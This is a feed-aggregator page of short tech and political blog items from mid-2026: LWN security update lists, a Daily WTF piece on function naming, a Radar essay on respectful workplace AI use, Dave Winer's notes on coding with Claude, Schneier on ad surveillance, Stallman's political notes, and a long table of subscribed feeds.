  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

15:14

Link [Scripting News]

One of the cool things about having Claude Code is that as we develop this product, we have a near perfect chronology of every consideration and decision made along the way. I don't think that's ever been possible before. I would love to see how the people at Bell Labs put together the first Unix implemenation, what did they talk about, what did they go back and do again once they used the product. Or developers at Xerox PARC, or the process that led to Visicalc, Mac OS or Pagemaker. TBL's first web browser, ChatGPT, etc. Software is a totally intellectual creation, but there is a story for each product, because it's a human doing the design. BTW we had our first faceoff, Claude and I, and I won. Claude said the bug was in my code, I proved it was not, suggested he look at the crazy complicated SQL code he wrote (so glad to have it around for that). Also, I tend to use male pronouns for Claude. Worth mentioning once. (The Computer History Museum should be paying attention.)

Link [Scripting News]

I showed the post above to Claude and that took our conversation off in a new direction. We had been experimenting with the Message Scanner from LBBS, an early version of Twitter I wrote in the early 80s. It's described in this story I wrote in 1988, a summary of what I did leading to the start of UserLand. 38 years later Claude said: "LBBS message scanner running on RSS."

Link [Scripting News]

BTW thinking of LBBS as an early version of Twitter is a contortion, but considering how history played out, accurate.

14:35

Security updates for Wednesday [LWN.net]

Security updates have been issued by AlmaLinux (coreutils, galera and mariadb11.8, giflib, git-lfs, glibc, httpd, kernel, mariadb10.11, mod_md, perl-Archive-Tar, perl-IO-Compress, perl:5.32, rrdtool, ruby, ruby4.0, and thunderbird), Debian (debian-security-support, librabbitmq, and nginx), Fedora (chromium, collectd, maradns, python-django-haystack, python-jupytext, varnish, varnish-modules, and vmod-querystring), Oracle (firefox, git-lfs, kernel, nginx:1.24, openssl, perl-Archive-Tar, perl-IO-Compress, and uek-kernel), Red Hat (container-tools:rhel8), SUSE (7zip, apache2, buildah, cifs-utils, curl, docker, exiv2-0_26, libonnxruntime1, libsoup, nodejs22, opensc, pacemaker, perl-Config-IniFiles, podman, sg3_utils, socat, tar, tracker, and xdg-desktop-portal), and Ubuntu (curl, hplip, libgd-perl, libssh2, libyang, ruby2.7, ruby3.0, ruby3.2, ruby3.3, and tar).

[$] Secure Boot certificate expiration is here [LWN.net]

Linux users who have Secure Boot enabled on their systems rely on certificates issued by Microsoft to verify the software used to boot a system is trusted by the user. One of those certificates expired recently, but that will not cause systems that are able to boot to stop doing so. There are situations where the expiration may cause problems, however, and the window for relying on existing signed binaries is shorter than it might appear. Users and administrators will want to stay on top of these changes. Over the last year, part of my job at Microsoft has been to work on this problem. LWN wrote about the certificate expiration in July 2025, and this article follows up with where we are now.

13:28

Representative Line: A Specific Key [The Daily WTF]

Today's anonymous submission isn't really a WTF, but it highlights the hardest problem in computer science: naming things.

For example, let's say you saw a method called handleRSAPrivateKeyGeneration. You'd likely assume that it generates an RSA private key. More specifically, it accepts a request for a private key and handles that request. It's right there in the name.

public String handleRSAPrivateKeyGeneration(
        @RequestParam(value = "algorithm", defaultValue = "EC") KeyAlgorithm algorithm,…
)

Except this function accepts an algorithm as a parameter. That's not bad design; it makes sense to inject implementations like that. Though in this case, it looks like it's injecting a key that can be used to look up the actual implementation, which I like less, but I don't know the rest of the implementation, so we can let it slide.

So there's no WTF here. It's a badly named function that may not return an RSA key, but does return a valid cryptographic key. By default it generates an elliptic curve key. Presumably as an armored key, since it returns a String- and the armor usually supplies enough of a hint that consumers can infer the key type. Our submitter tells us that this function is part of a Java Spring controller, and returns a string because the result is displayed in a web page.

No WTF, but it does highlight how sometimes being too specific with your name can make the name less clear. handlePrivateKeyGeneration would be a better name, since we don't know exactly what kind of private key it's generating.

Names, as always, remain hard.

[Advertisement] Utilize BuildMaster to release your software with confidence, at the pace your business demands. Download today!

13:00

Guidelines for Respectful Use of AI [Radar]

The following article originally appeared on Medium and is being republished here with the author’s permission.

As companies adopt AI tools, a lot of time is spent on thinking about AI policies from a security, compliance, or even cost-focused angle. But many leaders are neglecting to address how their teams should work with AI in the context of the team as a whole. This creates a lot of unresolved tension, and it’s time for leaders to step up and set some guidelines not just for how to use AI in an “approved” sense but how to use it respectfully.

When I say respectfully, I am not talking about the baseline appropriate workplace behavior (bullying, abuse, harassment, etc.). Instead, I’m concerned that many of us haven’t considered that the ways AI can make an individual more productive (literally enabling them to produce more outputs) can have an overall negative impact on the team’s productivity. Leaders can’t just sit around and expect that their teams will know that they can’t just produce slop and send it to others; if you haven’t set up a thorough policy yet, here are some suggestions on what to cover.

Elements of respectful AI use

Don’t ask someone to read/review what you haven’t read or reviewed yourself.

This is one of the most common frustrations I hear amongst people working on AI-heavy teams. Whether it’s code that the owner didn’t really bother to understand before submitting for review or documents that they generated and didn’t bother to read, too often people try to steal productivity from their colleagues by streamlining their production of work while asking their colleagues to do all of the quality control themselves. It’s great to have a loop of AI code generation → AI code review → AI fixes → final human review, but if the person prompting the AI doesn’t bother to review that code first, they’re putting a huge validation tax onto their teammate, who has to trust both that you prompted well AND that the AI understood the context and problem well enough to get a sustainable solution.

Documents are an even bigger temptation than code, because AI is so verbose and most of us hate writing and editing. It’s easy to get into a loop where you ask the AI some questions, skim the answers, output a document and send it to others. I’m guilty of this myself! But what makes sense when you’re skimming one answer at a time may not make for a good overall document, and there is a big difference between answering individual questions and writing for a human reader. In particular, the context that you have in your own head as you are talking to the AI may not come out at all in the document; if you don’t bother to read it thoroughly before sending it out, you won’t catch the gap in framing.

Even worse, sometimes people don’t even understand what the document they prompted is trying to say. Can you describe this document, and have a conversation about the concepts it presents with others and why it makes sense? If not, you have no business sending it along without at minimum the huge caveat “This is AI-generated and I still don’t really understand this space, please help me.”

Many people have reached the point where they won’t read something a person didn’t bother to write themselves, and who can blame them when so many don’t even bother to read their output before sending it on?

Shorter is better.

Part of the annoyance of reviewing AI-generated work is that the AI can be painfully long-winded. AI code often looks like tutorial code, with much more verbosity than human developers would bother with. Add in the temptation to one-shot big changes rather than thinking about how to break the code down into pieces, and you can end up with stacks of thousand line pull requests. The documents AI produces are so thorough that something that should be 3 pages turns into 10 or 20. And for those who have fully embraced AI for all of their text-based interactions, you start to see the LLM-generated wall of text chat messages or emails.

This is, frankly, just rude. It goes hand in hand with not bothering to review your own work, but even if for some reason you convince yourself that you really did read and edit that giant PR/document/message, you’re still asking so much more of the audience than you probably put into the exercise in the first place. When it comes to code, I encourage you to honestly ask yourself: If this broke at 3:00am and none of the AI tools were working, would you be able to look at the PR context and the change and debug it? If not, it is probably too much. When it comes to a big document, at a minimum, have you at least summarized the important points up-front? If someone is just going to ask an AI to summarize the document themselves, you should probably do more work to provide that value before handing it off.

Finally, if you’re writing long-winded emails or chat messages with AI-assistance in order to painstakingly try to explain something, perhaps you actually need to have a meeting or call instead. Increasingly long text exchanges have always been a sign that people need to stop and talk face-to-face, and AI logorrhea hasn’t changed that.

AI is not an excuse to turn off your brain, or your heart.

Signs we’ve switched off our brains and our hearts include: not reviewing the AI-generated work, not taking the time to do human editing, not breaking the changes down into chunks, and avoiding real conversations through AI-mediated text exchange. This guidance is about respectful use of AI because if you have empathy for your colleagues and respect for their time and skills, you will show them the courtesy of giving them work that you are proud of, that you stand behind, that you have thought through and can explain. The AI may have produced a lot of the output, but you thought about all of the pieces that needed to be done, and used the extra productivity to make something better: more reliable, simpler, well tested, whatever. If you find yourself not thinking at all and just mindlessly prompting, accepting output, and moving forward, it’s a warning sign that something is wrong. Perhaps take some advice from Vicki Boykis on adding friction to your development process (or whatever the equivalent is of your day-to-day work).

Framing these guidelines

If you decide to do this, one final tip from me: Assuming your company has some sort of company values, it’s always a good idea to call back to these values when you create policies and guidelines like this. It’s one thing to abstractly say that shorter is better, but if you can tie that to a value for your company, it will resonate more strongly. As an example, if I were at Amazon I might consider tying “shorter is better” to the leadership principle Invent and Simplify. And since shorter is better and this is already too long, I leave you here.

Enjoy this post? You might like my books The Manager’s Path and Platform Engineering: A Guide for Technical, Product, and People Leaders.

12:14

Ben Hutchings: FOSS activity in June 2026 [Planet Debian]

This month’s work was dominated by the transition of Debian 12 “bookworm” to support by the LTS team, and by review of some large updates to Linux stable branches.

Linux 6.12 is currently available in bookworm-backports, but that suite will stop accepting uploads after the last bookworm point release. I updated some supporting packages in bookworm in preparation for adding Linux 6.12 there. I also prepared for the possibility that bookworm-backports would close earlier.

Since the LTS team is still also maintaining Debian 11 “bullseye” until August, I reviewed upstream changes for both Linux 5.10 and 6.1 stable branches and reported a number of regressions and other issues.

Papa Johns Surveillance-Based Advertising [Schneier on Security]

Papa Johns is spying on people’s buying activities to predict when they are low on food:

The pizza chain recently tapped NBCUniversal, Instacart and the dentsu-owned media agency Carat for help reaching consumers when they’re low on groceries—and thus more likely to be swayed by a mouth-watering ad. The idea is to reach hungry consumers by “knowing what is in their fridge without being too creepy,” said Carrie Drinkwater, chief investment officer at Carat.

To achieve that goal, NBCU and Instacart created a custom audience of shoppers who regularly purchase grocery staples on Instacart, such as eggs, milk, meat and produce. Based on that data, Papa Johns can determine which days of the week certain consumers are likely to run out of groceries and serve them an ad on NBCU streaming content accordingly. The brand served custom creatives to consumers based on their food preferences—such as whether they buy meat regularly—with QR codes and calls to action such as, “Light on groceries?” or “Empty fridge?”

Back in 2012, we learned (from Target and its campaign that detects when someone is pregnant) that the trick is to hide the knowledge in other, wrong, information. So the way for Papa John’s to not be “too creepy” is to deliberately get it wrong sometimes.

But still, ugh.

10:07

Can you believe it? [Seth's Blog]

The standards have changed a lot in the last few millennia:

The big man said it.

The book said it.

The newspaper said it.

I saw a photo.

I saw it on TV.

I read it on the internet.

That’s what the AI said.

There has always been room for doubt. But the last century has been about doubt at scale, due to mismatched incentives and the impact of media and tech.

84% of the statistics we read are manipulated for impact. And every story, every narrative, every photo is curated and edited. The map is not the territory, and the map maker has a goal. It might be the same as yours–but it might not be.

One danger is that a story not worth believing lets us off the hook. The other is that it manipulates us into taking action we’ll regret.

It’s impossible to function in society without consuming stories. You’re never going to the moon, and the only way it’s possible to know it’s not made of green cheese is to find a story you can inspect and trust, one that, if you drill down far enough, is based on things you can engage with in real life.

People in society are often driven by the desire to believe what everyone else in their circle believes–people like us do things like this. But the change agent has the desire to be early in embracing ideas that others don’t believe (yet).

The difference between poison and medicine often comes down to the dosage. Belief at scale, fueled by omnipresent media designed to seduce, is unlikely to help us get to where we seek to go.

A coherent culture is often built on a shared belief system. When the entire group believes something that collides with reality, though, reality wins.

In the long run, the Earth doesn’t care what you believe. Eppur si muove.

08:28

Modular Doom [Penny Arcade]

New Comic: Modular Doom

06:35

Prairieland defendants [Richard Stallman's Political Notes]

The persecutors's scheme to label protests as "terrorism" had a terrible success, as protesters were sentenced to prison for 30 years and more for nonviolent protest activities.

The persecutor's henchmen had declared (arbitrarily) that this was organized terrorism on behalf of the nonexistent "organization", "Antifa". But the arbitrary designation as "terrorism" was not challenged in court — the judges silently accepted it.

AI-generated influencers [Richard Stallman's Political Notes]

Companies are advertising products using simulated video depicting simulated customers.

All satisfied, naturally.

Is there an important moral difference between using a machine learning system to generate video of an apparent customer who praises a product, and filming video of an actor giving a performance depicting such a customer? I don't see a significant difference, is there something I am missing?

If there is no significant difference, that doesn't mean they are morally acceptable. Maybe both should be considered fraud unless labeled with how they were produced.

Risk of food shortages [Richard Stallman's Political Notes]

*Papua New Guinea faces severe food shortages as El [Super]Niño brings frost and drought.*

EU-Taliban talks [Richard Stallman's Political Notes]

The European Union, under pressure from right-wing immigrant-haters, is negotiating with the Taliban about returning refugees to Afghanistan.

This threatens to aid the Taliban in carrying out their policies of oppression. Every woman in Afghanistan is oppressed; many men are, too. The EU should give asylum to every Afghan women who can reach there, and many Afghan men will deserve it too.

Trump-era mega mergers [Richard Stallman's Political Notes]

Senator Warren calls for reversing some of the many large mergers that have subjected the US to drastic industrial concentration.

Even before the wrecker became president again, the US had a lot less business competition than it did a few decades ago. Several years ago I needed a new condensation pump to pump the air conditioner's water condensation out of the basement. There had traditionally been two competing manufacturers, but the government had allowed them to merge, so there was only one. That merger should have been blocked to maintain competition in that small field.

Often the US appears to have a lot more competition than it really has. The supermarket company Albertsons uses all these names:

  • Acme Markets
  • Albertsons
  • Carrs-Safeway
  • Haggen
  • Jewel-Osco
  • Kings
  • Pavilions
  • Plated
  • Randalls
  • Safeway
  • Shaw's
  • Star Market
  • Tom Thumb
  • United Supermarkets
  • Vons

Mourning in America [Richard Stallman's Political Notes]

Robert Reich: Mourning the great ideals which America had partly achieved, but which the wrecker is trashing.

Whistleblower identification risks [Richard Stallman's Political Notes]

"Age verification" requirements threaten to identify whistleblowers. They generally require that all users of a site prove their identities, or present video selfies which governments could use to identify them.

Any attempt by a whistleblower to contact a reporter through a site that does age verification is likely to enable tyrannical rulers to identify per and crush per.

This will also prohibit reporters from using anonymous accounts to follow what others are posting or enable sources to contact them.

Anti-ICE organizers [Richard Stallman's Political Notes]

*Anti-deportation-thug organizers shift focus to defend democracy from [the persecutor's] assault.

Citizens in Minnesota using lessons learned from migrant crackdown to protect elections from president's threats.*

06:21

Girl Genius for Wednesday, July 01, 2026 [Girl Genius]

The Girl Genius comic for Wednesday, July 01, 2026 has been posted.

02:07

Makes Sense To Me [QC RSS v2]

no foolishness detected

01:21

Farewell, June [Whatever]

I’m still traveling, so no huge update today (although I am fine! Everything is fine!), but I want to post this shot of the Ferris Wheel at Chicago’s Navy Pier the other night. It feels very June to me. Onward to July.

— JS

Tuesday, 30 June

23:28

Link [Scripting News]

BTW, I sometimes ask Claude "what do you think" and it often has an opinion.

Link [Scripting News]

BTW thanks to Dave Carlick for noticing when I had fun writing a piece, laughing out loud at almost every sentence. Who's the biggest fan of my writing? Me. But sometimes I think of Dave C. And Sally At.

20:49

Fancy food update [Seth's Blog]

Everybody eats.

And, now and then, it’s fun to find something better. In the scheme of things, fancy foods are a bargain, a chance to have the best in the world for a few dollars.

Here are some persistent (and new) favorites. For those outside the US, I hope you can find even better local options.

Koeze makes the best peanut butter in the country. They make one batch a day, laboriously grinding for three hours. Zingermans often has it at a bulk discount.

Seed & Mill has a chocolate tahini sauce that’s mind-blowing. Imagine Nutella, but 10x better and just the good parts. Her cookbook is great, too.

Burlap & Barrel offers cardamom extract that will transform a glass of bubbly water into a sophisticated refresher.

Three chocolates from South America, from the rare porcelana bean and its cousins:

  • Heinde Verre offers two related varietals in one comparison pack.
  • Orfeve makes a nearly perfect sophisticated bar.
  • And Idilio offers one that’s unforgettable.

Summer sophistication and deliciousness are easy with a good shaker. You put whatever you want to drink (I steam 100% cacao with oat milk) over ice and then shake and pour. I was a skeptic on this, but I’m converted.

Rishi Dandelion Ginger. Extraordinary and surprising. And most things taste better mixed with tonic.

Life’s too short for average vinegar. The good stuff lasts a long time and costs not much more.

Raw almonds in the air fryer for 15 minutes at 340 degrees F. Not just healthier–quite good. Perfect with dried plums.

If you’re in Manhattan, check in the comments for when he’s open, then go have a dosa.

And their slogan might be true: These are the best dates.

19:07

Free Software Directory meeting on IRC: Friday, July 3, starting at 12:00 EDT (16:00 UTC) [Planet GNU]

Join the FSF and friends on Friday, July 3 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory.

Creative Commons founders' fireside chat (Creative Commons blog) [LWN.net]

Dee Harris has published a summary of the recent "fireside chat" featuring Creative Commons founders Hal Abelson, Lawrence (Larry) Lessig, Molly Van Houweling, and Glenn Otis Brown. The chat was to mark the 25th anniversary of Creative Commons and included a look back at its history as well as a look at the landscape today:

Twenty-five years ago, a small group of people made a bet. They believed that if you gave creators a simple set of tools and licenses in language that a lawyer, a machine, and a human could all read, millions of people might choose to share their work with the world instead of locking it down.

The video of the chat is available on YouTube.

Feeds

FeedRSSLast fetchedNext fetched after
@ASmartBear XML 22:07, Monday, 06 July 22:48, Monday, 06 July
a bag of four grapes XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Ansible XML 21:56, Monday, 06 July 22:36, Monday, 06 July
Bad Science XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Black Doggerel XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Blog - Official site of Stephen Fry XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Charlie Brooker | The Guardian XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Charlie's Diary XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Chasing the Sunset - Comics Only XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Coding Horror XML 22:07, Monday, 06 July 22:54, Monday, 06 July
Comics Archive - Spinnyverse XML 22:07, Monday, 06 July 22:51, Monday, 06 July
Cory Doctorow's craphound.com XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Cory Doctorow, Author at Boing Boing XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Ctrl+Alt+Del Comic XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Cyberunions XML 21:21, Monday, 06 July 22:10, Monday, 06 July
David Mitchell | The Guardian XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Deeplinks XML 22:07, Monday, 06 July 22:51, Monday, 06 July
Diesel Sweeties webcomic by rstevens XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Dilbert XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Dork Tower XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Economics from the Top Down XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Edmund Finney's Quest to Find the Meaning of Life XML 21:42, Monday, 06 July 22:25, Monday, 06 July
EFF Action Center XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Enspiral Tales - Medium XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Events XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Falkvinge on Liberty XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Flipside XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Flipside XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Free software jobs XML 21:56, Monday, 06 July 22:36, Monday, 06 July
Full Frontal Nerdity by Aaron Williams XML 21:21, Monday, 06 July 22:09, Monday, 06 July
General Protection Fault: Comic Updates XML 21:21, Monday, 06 July 22:09, Monday, 06 July
George Monbiot XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Girl Genius XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Groklaw XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Grrl Power XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Hackney Anarchist Group XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Hackney Solidarity Network XML 22:07, Monday, 06 July 22:52, Monday, 06 July
http://blog.llvm.org/feeds/posts/default XML 22:07, Monday, 06 July 22:52, Monday, 06 July
http://calendar.google.com/calendar/feeds/q7s5o02sj8hcam52hutbcofoo4%40group.calendar.google.com/public/basic XML 21:56, Monday, 06 July 22:36, Monday, 06 July
http://dynamic.boingboing.net/cgi-bin/mt/mt-cp.cgi?__mode=feed&_type=posts&blog_id=1&id=1 XML 22:07, Monday, 06 July 22:52, Monday, 06 July
http://eng.anarchoblogs.org/feed/atom/ XML 21:42, Monday, 06 July 22:28, Monday, 06 July
http://feed43.com/3874015735218037.xml XML 21:42, Monday, 06 July 22:28, Monday, 06 July
http://flatearthnews.net/flatearthnews.net/blogfeed XML 22:07, Monday, 06 July 22:48, Monday, 06 July
http://fulltextrssfeed.com/ XML 21:42, Monday, 06 July 22:25, Monday, 06 July
http://london.indymedia.org/articles.rss XML 22:07, Monday, 06 July 22:54, Monday, 06 July
http://pipes.yahoo.com/pipes/pipe.run?_id=ad0530218c055aa302f7e0e84d5d6515&amp;_render=rss XML 21:42, Monday, 06 July 22:28, Monday, 06 July
http://planet.gridpp.ac.uk/atom.xml XML 22:07, Monday, 06 July 22:54, Monday, 06 July
http://shirky.com/weblog/feed/atom/ XML 22:07, Monday, 06 July 22:51, Monday, 06 July
http://thecommune.co.uk/feed/ XML 22:07, Monday, 06 July 22:52, Monday, 06 July
http://theness.com/roguesgallery/feed/ XML 21:21, Monday, 06 July 22:09, Monday, 06 July
http://www.airshipentertainment.com/buck/buckcomic/buck.rss XML 21:21, Monday, 06 July 22:10, Monday, 06 July
http://www.airshipentertainment.com/growf/growfcomic/growf.rss XML 22:07, Monday, 06 July 22:51, Monday, 06 July
http://www.airshipentertainment.com/myth/mythcomic/myth.rss XML 21:35, Monday, 06 July 22:17, Monday, 06 July
http://www.baen.com/baenebooks XML 22:07, Monday, 06 July 22:51, Monday, 06 July
http://www.feedsapi.com/makefulltextfeed.php?url=http%3A%2F%2Fwww.somethingpositive.net%2Fsp.xml&what=auto&key=&max=7&links=preserve&exc=&privacy=I+accept XML 22:07, Monday, 06 July 22:51, Monday, 06 July
http://www.godhatesastronauts.com/feed/ XML 21:21, Monday, 06 July 22:09, Monday, 06 July
http://www.tinycat.co.uk/feed/ XML 21:56, Monday, 06 July 22:36, Monday, 06 July
https://anarchism.pageabode.com/blogs/anarcho/feed/ XML 22:07, Monday, 06 July 22:51, Monday, 06 July
https://broodhollow.krisstraub.comfeed/ XML 22:07, Monday, 06 July 22:48, Monday, 06 July
https://debian-administration.org/atom.xml XML 22:07, Monday, 06 July 22:48, Monday, 06 July
https://elitetheatre.org/ XML 22:07, Monday, 06 July 22:54, Monday, 06 July
https://feeds.feedburner.com/Starslip XML 21:35, Monday, 06 July 22:17, Monday, 06 July
https://feeds2.feedburner.com/GeekEtiquette?format=xml XML 21:42, Monday, 06 July 22:25, Monday, 06 July
https://hackbloc.org/rss.xml XML 22:07, Monday, 06 July 22:48, Monday, 06 July
https://kajafoglio.livejournal.com/data/atom/ XML 21:21, Monday, 06 July 22:10, Monday, 06 July
https://philfoglio.livejournal.com/data/atom/ XML 22:07, Monday, 06 July 22:54, Monday, 06 July
https://pixietrixcomix.com/eerie-cutiescomic.rss XML 22:07, Monday, 06 July 22:54, Monday, 06 July
https://pixietrixcomix.com/menage-a-3/comic.rss XML 22:07, Monday, 06 July 22:51, Monday, 06 July
https://propertyistheft.wordpress.com/feed/ XML 21:56, Monday, 06 July 22:36, Monday, 06 July
https://requiem.seraph-inn.com/updates.rss XML 21:56, Monday, 06 July 22:36, Monday, 06 July
https://studiofoglio.livejournal.com/data/atom/ XML 21:42, Monday, 06 July 22:28, Monday, 06 July
https://thecommandline.net/feed/ XML 21:42, Monday, 06 July 22:28, Monday, 06 July
https://torrentfreak.com/subscriptions/ XML 21:42, Monday, 06 July 22:25, Monday, 06 July
https://web.randi.org/?format=feed&type=rss XML 21:42, Monday, 06 July 22:25, Monday, 06 July
https://www.dcscience.net/feed/medium.co XML 21:21, Monday, 06 July 22:10, Monday, 06 July
https://www.DropCatch.com/domain/steampunkmagazine.com XML 22:07, Monday, 06 July 22:48, Monday, 06 July
https://www.DropCatch.com/domain/ubuntuweblogs.org XML 21:42, Monday, 06 July 22:28, Monday, 06 July
https://www.DropCatch.com/redirect/?domain=DyingAlone.net XML 22:07, Monday, 06 July 22:54, Monday, 06 July
https://www.freedompress.org.uk:443/news/feed/ XML 21:21, Monday, 06 July 22:09, Monday, 06 July
https://www.goblinscomic.com/category/comics/feed/ XML 21:56, Monday, 06 July 22:36, Monday, 06 July
https://www.loomio.com/blog/feed/ XML 21:42, Monday, 06 July 22:28, Monday, 06 July
https://www.newstatesman.com/feeds/blogs/laurie-penny.rss XML 22:07, Monday, 06 July 22:48, Monday, 06 July
https://www.patreon.com/graveyardgreg/posts/comic.rss XML 22:07, Monday, 06 July 22:54, Monday, 06 July
https://www.rightmove.co.uk/rss/property-for-sale/find.html?locationIdentifier=REGION^876&maxPrice=240000&minBedrooms=2&displayPropertyType=houses&oldDisplayPropertyType=houses&primaryDisplayPropertyType=houses&oldPrimaryDisplayPropertyType=houses&numberOfPropertiesPerPage=24 XML 21:42, Monday, 06 July 22:25, Monday, 06 July
https://x.com/statuses/user_timeline/22724360.rss XML 21:56, Monday, 06 July 22:36, Monday, 06 July
Humble Bundle Blog XML 22:07, Monday, 06 July 22:54, Monday, 06 July
I, Cringely XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Irregular Webcomic! XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Joel on Software XML 21:42, Monday, 06 July 22:28, Monday, 06 July
Judith Proctor's Journal XML 21:56, Monday, 06 July 22:36, Monday, 06 July
Krebs on Security XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Lambda the Ultimate - Programming Languages Weblog XML 21:56, Monday, 06 July 22:36, Monday, 06 July
Looking For Group XML 22:07, Monday, 06 July 22:51, Monday, 06 July
LWN.net XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Mimi and Eunice XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Neil Gaiman's Journal XML 21:56, Monday, 06 July 22:36, Monday, 06 July
Nina Paley XML 22:07, Monday, 06 July 22:54, Monday, 06 July
O Abnormal – Scifi/Fantasy Artist XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Oglaf! -- Comics. Often dirty. XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Oh Joy Sex Toy XML 22:07, Monday, 06 July 22:51, Monday, 06 July
Order of the Stick XML 22:07, Monday, 06 July 22:51, Monday, 06 July
Original Fiction Archives - Reactor XML 21:35, Monday, 06 July 22:17, Monday, 06 July
OSnews XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Paul Graham: Unofficial RSS Feed XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Penny Arcade XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Penny Red XML 22:07, Monday, 06 July 22:52, Monday, 06 July
PHD Comics XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Phil's blog XML 21:21, Monday, 06 July 22:09, Monday, 06 July
Planet Debian XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Planet GNU XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Planet Lisp XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Pluralistic: Daily links from Cory Doctorow XML 21:56, Monday, 06 July 22:36, Monday, 06 July
PS238 by Aaron Williams XML 21:21, Monday, 06 July 22:09, Monday, 06 July
QC RSS v2 XML 22:07, Monday, 06 July 22:54, Monday, 06 July
Radar XML 21:35, Monday, 06 July 22:17, Monday, 06 July
RevK®'s ramblings XML 21:42, Monday, 06 July 22:28, Monday, 06 July
Richard Stallman's Political Notes XML 21:21, Monday, 06 July 22:10, Monday, 06 July
Scenes From A Multiverse XML 22:07, Monday, 06 July 22:54, Monday, 06 July
Schneier on Security XML 21:56, Monday, 06 July 22:36, Monday, 06 July
SCHNEWS.ORG.UK XML 22:07, Monday, 06 July 22:51, Monday, 06 July
Scripting News XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Seth's Blog XML 21:42, Monday, 06 July 22:28, Monday, 06 July
Skin Horse XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Tales From the Riverbank XML 21:21, Monday, 06 July 22:10, Monday, 06 July
The Adventures of Dr. McNinja XML 22:07, Monday, 06 July 22:52, Monday, 06 July
The Bumpycat sat on the mat XML 21:56, Monday, 06 July 22:36, Monday, 06 July
The Daily WTF XML 21:42, Monday, 06 July 22:28, Monday, 06 July
The Monochrome Mob XML 22:07, Monday, 06 July 22:48, Monday, 06 July
The Non-Adventures of Wonderella XML 21:42, Monday, 06 July 22:25, Monday, 06 July
The Old New Thing XML 22:07, Monday, 06 July 22:51, Monday, 06 July
The Open Source Grid Engine Blog XML 22:07, Monday, 06 July 22:54, Monday, 06 July
The Stranger XML 22:07, Monday, 06 July 22:52, Monday, 06 July
towerhamletsalarm XML 21:42, Monday, 06 July 22:28, Monday, 06 July
Twokinds XML 21:35, Monday, 06 July 22:17, Monday, 06 July
UK Indymedia Features XML 21:35, Monday, 06 July 22:17, Monday, 06 July
Uploads from ne11y XML 21:42, Monday, 06 July 22:28, Monday, 06 July
Uploads from piasladic XML 21:42, Monday, 06 July 22:25, Monday, 06 July
Use Sword on Monster XML 22:07, Monday, 06 July 22:54, Monday, 06 July
Wayward Sons: Legends - Sci-Fi Full Page Webcomic - Updates Daily XML 21:42, Monday, 06 July 22:28, Monday, 06 July
what if? XML 22:07, Monday, 06 July 22:48, Monday, 06 July
Whatever XML 21:21, Monday, 06 July 22:10, Monday, 06 July
